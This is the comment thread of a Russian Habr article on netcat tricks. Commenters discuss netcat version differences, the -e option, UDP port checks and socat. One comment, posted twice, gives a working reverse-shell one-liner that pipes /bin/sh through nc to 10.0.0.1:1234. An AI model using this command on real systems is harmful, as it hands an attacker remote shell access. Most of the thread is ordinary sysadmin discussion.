Комментарии 13
Большинство этих или аналогичных примеров есть в
man nc(1)
. Кроме того, вы описываете «старую» (ну или «классическую», если угодно) версию нетката (синтаксис -lp
, небезопасная опция -e
), которая отличается от современных реализаций (например, OpenBSD'шной); та же убунта, кстати, об этом сразу предупреждает:This is nc from the netcat-openbsd package. An alternative nc is available in the netcat-traditional package.Многие ваши примеры просто не заработают с дефолтной версией большинства актуальных дистрибутивов *nix.
Ну я бы не был так категоричен, у меня не запустился только пример с -e
остальные работают
Решил еще раз проверить: те примеры, где используется
В любом случае, автору имхо стоило уделить немного внимания отличиям реализаций нетката в разных операционных системах (в т.ч. разных версий), или хотя бы указать конкретную систему, под которую писались примеры.
-lp
, не заработают на FreeBSD (любых последних версий) и Ubuntu 10.04.4 LTS, однако на новой убунте и минте работают (и там из мануала исчезла приписка, что it is an error to use this option [-p] in conjunction with the -l option).В любом случае, автору имхо стоило уделить немного внимания отличиям реализаций нетката в разных операционных системах (в т.ч. разных версий), или хотя бы указать конкретную систему, под которую писались примеры.
И без флага -e работает :)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
Большинство работает на debian/ubuntu последних веток.
Да, видимо,
Ну и повторюсь: приведенные примеры в том или ином виде уже и так есть на странице руководства.
-lp
там решили восстановить в правах, чтобы не анноить finger memory пользователей, привыкших к старому синтаксису, но 1) одними новыми линуксами мир *nix не ограничивается (пусть даже *BSD суммарно менее популярны, но вы же сами пишете, что netcat это утилита Unix), а значит 2) было бы не лишним рассказать об этих различиях.Ну и повторюсь: приведенные примеры в том или ином виде уже и так есть на странице руководства.
А как происходит проверка UDP «соединения»? Не понятно.
Просто у меня можно подставлять любые хосты, любые порты и всегда будет типа
Connection to 192.168.20.44 1 port [udp/*] succeeded!
Просто у меня можно подставлять любые хосты, любые порты и всегда будет типа
Connection to 192.168.20.44 1 port [udp/*] succeeded!
Можно посылать пустые UDP-пакеты и ожидать в ответ ICMP-сообщения «port unreachable». Если не получено никаких сообщений в ответ, порт считается открытым. Если возвращаемые ICMP-сообщения блокируются брандмауэром, это может означать, что все UDP-порты хоста открыты. Также, если UDP-трафик непосредственно блокируется брандмауэром, это по-прежнему означает, что все UDP-порты открыты. Поскольку UDP-протокол работает без установления соединения и не ограничен необходимостью подтверждения получения входящих пакетов, нет полного решения этой проблемы.
Android(Termux) всё работает, официально подтверждаю.
NetCat не очень интересен, гораздо интереснее трюки с socat (SOcket CAT), у него больше возможностей, у него не простая документация, в общем "вкусная" утилита.
Прием данных на UDP-порту и вывод принятых данных
$ nc -u localhost 7777
нехватает: -l Bind and listen for incoming connections
nc -lu localhost 7777
Зарегистрируйтесь на Хабре, чтобы оставить комментарий
Полезные трюки при работе с netcat